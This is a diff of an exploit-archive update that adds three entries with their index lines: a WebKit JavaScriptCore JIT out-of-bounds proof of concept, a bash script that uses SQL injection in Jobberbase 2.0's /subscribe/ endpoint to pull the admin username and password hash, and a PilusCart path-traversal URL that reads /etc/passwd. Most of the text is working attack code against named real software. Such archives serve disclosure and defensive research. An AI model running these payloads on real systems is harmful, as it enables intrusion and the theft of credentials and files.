DB: 2019-08-30

3 changes to exploits/shellcodes

Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform
Jobberbase 2.0 - 'subscribe' SQL Injection
PilusCart 1.4.1 - Local File Disclosure

exploits/multiple/dos/47316.txt

@@ -0,0 +1,63 @@
+https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743
+
+case GetByVal: {
+    ...
+
+    unsigned numberOfArgumentsToSkip = 0;
+    if (candidate->op() == PhantomCreateRest)
+        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
+    
+    Node* result = nullptr;
+    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
+        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
+        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
+        index += numberOfArgumentsToSkip;
+        
+        bool safeToGetStack;
+        if (inlineCallFrame) {
+            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;
+
+        }
+        else {
+            safeToGetStack =
+                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;
+
+        }
+        if (safeToGetStack) {
+            StackAccessData* data;
+            VirtualRegister arg = virtualRegisterForArgument(index + 1);
+            if (inlineCallFrame)
+                arg += inlineCallFrame->stackOffset;
+
+            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
+            
+            Node* check = nullptr;
+            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
+                check = insertionSet.insertNode(
+                    nodeIndex, SpecNone, CheckInBounds, node->origin,
+                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
+            }
+            
+            result = insertionSet.insertNode(
+                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
+        }
+    }
+
+The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.
+
+PoC:
+function inlinee(index, value, ...rest) {
+    return rest[index | 0];  // GetByVal
+}
+
+function opt() {
+    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
+}
+
+inlinee(0, 0);
+
+for (let i = 0; i < 1000000; i++) {
+    opt();
+}
+
+print(opt());  // 0x1234

exploits/php/webapps/47314.sh

@@ -0,0 +1,41 @@
+#!/bin/bash
+# Exploit Title: Jobberbase 2.0 - 'subscribe' SQL injection
+# Date: 29 August 2019
+# Exploit Author: Damian Ebelties (https://zerodays.lol/)
+# Vendor Homepage: http://www.jobberbase.com/
+# Version: 2.0
+# Tested on: Ubuntu 18.04.1
+
+: '
+
+    The page "/subscribe/" is vulnerable for SQL injection.
+
+    Simply make a POST request to /subscribe/ with the parameters:
+     - email=jobber@zerodays.lol
+     - category=1337<inject_here>
+
+    You can use this script to verify if YOUR OWN instance is vulnerable.
+
+    $ bash verify.sh http://localhost/jobberbase/
+    admin:1a1dc91c907325c69271ddf0c944bc72
+
+'
+
+: 'Fetch the username'
+USERNAME=$(curl -s "$1/subscribe/" \
+                -d "email=jobber@zerodays.lol" \
+                -d "category=-1337 and updatexml(0,concat(0x0a,(select username from admin limit 0,1),0x0a),0)-- -" \
+                -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
+
+: 'Ugly way to fetch the password hash'
+PASS=$(curl -s "$1/subscribe/" \
+            -d "email=jobber@zerodays.lol" \
+            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,1,16) from admin limit 0,1),0x0a),0)-- -" \
+            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
+WORD=$(curl -s "$1/subscribe/" \
+            -d "email=jobber@zerodays.lol" \
+            -d "category=-1337 and updatexml(0,concat(0x0a,(select substring(password,17,16) from admin limit 0,1),0x0a),0)-- -" \
+            -d "zero=days.lol" | head -n 3 | tail -n 1 | sed "s/'' in.*//")
+
+: 'Print the user:hash (note: default login is admin:admin)'
+echo -e "$USERNAME:$PASS$WORD"

exploits/php/webapps/47315.txt

@@ -0,0 +1,19 @@
+# Exploit Title: PilusCart <= 1.4.1 - Local File Disclosure
+# Date: 29 August 2019
+# Exploit Author: Damian Ebelties (https://zerodays.lol/)
+# Vendor Homepage: https://sourceforge.net/projects/pilus/
+# Version: <= 1.4.1
+# Tested on: Ubuntu 18.04.1
+
+The e-commerce software 'PilusCart' is not validating the 'filename' passed correctly,
+which leads to Local File Disclosure.
+
+As of today (29 August 2019) this issue is unfixed.
+
+Vulnerable code: (catalog.php on line 71)
+
+    readfile("$direktori$filename");
+
+Proof-of-Concept:
+
+    https://domain.tld/catalog.php?filename=../../../../../../../../../etc/passwd

files_exploits.csv

@@ -6552,6 +6552,7 @@ id,file,description,date,author,type,platform,port
 47282,exploits/windows_x86-64/dos/47282.txt,"GetGo Download Manager 6.2.2.3300 - Denial of Service",2019-08-16,"Malav Vyas",dos,windows_x86-64,
 47285,exploits/windows/dos/47285.py,"RAR Password Recovery 1.80 - 'User Name and Registration Code' Denial of Service",2019-08-19,Achilles,dos,windows,
 47309,exploits/windows/dos/47309.py,"Outlook Password Recovery 2.10 - Denial of Service",2019-08-28,"Velayutham Selvaraj_ Praveen Thiyagarayam",dos,windows,
+47316,exploits/multiple/dos/47316.txt,"Webkit JSC: JIT - Uninitialized Variable Access in ArgumentsEliminationPhase::transform",2019-08-29,"Google Security Research",dos,multiple,
 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux,
 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris,
 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux,
@@ -41670,3 +41671,5 @@ id,file,description,date,author,type,platform,port
 47310,exploits/php/webapps/47310.txt,"SQLiteManager 1.2.0 / 1.2.4 - Blind SQL Injection",2019-08-28,"Rafael Pedrero",webapps,php,80
 47311,exploits/php/webapps/47311.txt,"Jobberbase 2.0 CMS - 'jobs-in' SQL Injection",2019-08-28,"Naren Jangra",webapps,php,80
 47312,exploits/php/webapps/47312.html,"WordPress Plugin GoURL.io < 1.4.14 - File Upload",2018-10-31,"Pouya Darabi",webapps,php,
+47314,exploits/php/webapps/47314.sh,"Jobberbase 2.0 - 'subscribe' SQL Injection",2019-08-29,"Damian Ebelties",webapps,php,80
+47315,exploits/php/webapps/47315.txt,"PilusCart 1.4.1 - Local File Disclosure",2019-08-29,"Damian Ebelties",webapps,php,80